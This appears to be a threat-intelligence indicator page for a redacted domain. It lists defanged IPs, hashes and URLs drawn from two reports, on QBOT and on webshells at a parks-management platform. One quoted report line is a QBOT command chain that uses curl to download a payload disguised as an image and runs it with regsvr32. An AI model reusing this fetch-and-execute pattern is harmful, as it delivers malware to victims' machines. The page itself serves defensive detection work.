redacted[.]comDomain
Reported by 2 independent sources · first reported by Huntress · last reported
Last reported 4 years ago
What the reports say
2 reports, newest first · the exact sentence from each-
Exploring the QBOT Attack Pattern“**"C:\Windows\System32\cmd.exe" /q /c echo 'Ft' && ping REDACTED[.]com && MD "\\vyr" && curl.exe -o \\vyr\v4QpQt.Nqv.e8xO hxxps://REDACTED.net/t8EKnIB/C.png && echo "sxF" && ping REDACTED.com && regsvr32 "\\vyr\v4QpQt.Nqv.e8xO"**”
-
Determined Attacker Uploads Malicious Webshells to Parks and Rec Management Platform Servers“E:\Websites\REDACTED[.]com\http\css_bundle.aspx”
Indicators reported together
named in the same reports- 181.118.183[.]98in 1 report
- c2ba065654f13612…180fb1912b3ain 1 report
- 41.228.22[.]180in 1 report
- 47.23.89[.]62in 1 report
- 176.67.56[.]94in 1 report
- 103.107.113[.]120in 1 report
- 148.64.96[.]100in 1 report
- 47.180.172[.]159in 1 report
- hxxps://redacted[.]net/t8EKnIB/C.pngin 1 report
- redacted[.]netin 1 report
- 140.82.49[.]12in 1 report
- 144.202.2[.]175in 1 report
- 144.202.3[.]39in 1 report
- 149.28.238[.]199in 1 report
- 45.63.1[.]12in 1 report
- 45.76.167[.]26in 1 report
- 140.82.49.12.vultrusercontent[.]comin 1 report
- 144.202.2.175.vultrusercontent[.]comin 1 report
- 636e2904276fe33e…2f7a54443e02in 1 report
- a2bacde7210d8867…21b78a9ebf56in 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.